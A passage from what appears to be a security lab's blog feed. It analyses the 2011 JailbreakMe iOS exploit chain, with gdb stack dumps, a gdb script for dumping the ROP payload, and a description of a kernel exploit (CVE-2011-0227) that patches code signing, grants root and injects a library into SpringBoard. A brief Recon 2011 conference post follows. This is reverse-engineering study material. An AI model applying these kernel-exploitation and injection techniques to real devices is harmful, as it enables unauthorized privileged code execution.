0x305a0cbc <_ZN22TICandQualityFilter_frC1ERKN2KB6VectorINS0_4WordEEEPK10__CFLocale+8>:
      pop     {r7, pc}(gdb) si
0x305a38fc in -[NoteContext copyNotesForSearch:complete:]()(gdb) x/2i $pc
0x305a38fc <-[NoteContext copyNotesForSearch:complete:]+20>:    sub.w   sp, r7, #0      ; 0x0
0x305a3900 <-[NoteContext copyNotesForSearch:complete:]+24>:    pop     {r7, pc}(gdb) si
0x305a3900 in -[NoteContext copyNotesForSearch:complete:]()(gdb) x/32x $sp;sp=&buildchar[0x791e]
0x3a36478:      0x00000000      0x305a0dbd      0x2fec9c48      0x00000000
0x3a36488:      0x00000000      0x00000000      0x305e343f      0x03a3679c
0x3a36498:      0x00000000      0x305c6379      0x00000000      0x32e1d613
0x3a364a8:      0x03a364c4      0x32e1d613      0x3322d8fd      0x31552538
0x3a364b8:      0x3edab084      0x03a36ec8      0x03a36ee0      0x00000000
0x3a364c8:      0x305c6379      0x03a364d8      0x305b5889      0x33841129
0x3a364d8:      0x03a364e4      0x305b5889      0x03a365e8      0x00000000
0x3a364e8:      0x32e1d613      0x03a36920      0x305a0e97      0x03a36514

We can then use the following gdb script to dump the main ROP payload and the gadgets used.

set$i=$spwhile$i<$sp+0xE00if*$i>0x30000000x/3i*$iendif*$i<0x30000000x/x$iendset$i=$i+4end

This ROP payload exploits a kernel vulnerability in the IOMobileFramebuffer IOKit interface (CVE-2011-0227), using a kernel ROP payload that recopies a shellcode at address 0x80000400 (executable slack space at the beginning of the kernelcache mapping). The kernel shellcode patches various kernel functions to allow unsigned applications to run. It also installs a handler for syscall 0 whose sole purpose is to give root privileges to the calling process. This is used at the start of the main funtion in the locutus binary. The syscall handler is one-shot, it removes itself from the sysent array as soon as it is called (and it is not present in the untether binary since this is only required for the jailbreak installation process).

Once the kernel exploit is done, the mach-o binary contained in subroutine 0 is decompressed into /tmp/locutus and run using the posix_spawn function. Finally, the stack pointer is restored and execution resumes at the t1_decoder_parse_charstrings epilog. The R0 register is also set to 0x00000539 so that the font parser exits with a 1337 error code :) The locutus binary then installs Cydia and the untethered jailbreak package. A shared library is injected into the SpringBoard process (using mach calls and the thread_create_running function) to display the Cydia icon with a progress bar, just like a regular application installation.

This new version of jailbreakme is really impressive, and features the first public exploit that actively bypasses the ASLR mechanism introduced with iOS 4.3. A homebrew patch is even provided (PDF Patcher2) to avoid any controversy about "irresponsible disclosure". Hats off to comex !

Rushing Recon 2011!!!

$
0
0

Hi everyone,

In the beginning of July, several people from our lab were in Montreal for the Recon conference, where we gave four talks. We really enjoyed our time there. The panel of talks was, once again, amazing. It was an opportunity to meet great people, and to enjoy beers and parties (thanks Hugo)!

Without further ado, here are the materials we presented:

Cheers,

Damien, Guillaume, Alexandre and Yoann.

Viewing all 229 articles
Browse latest View live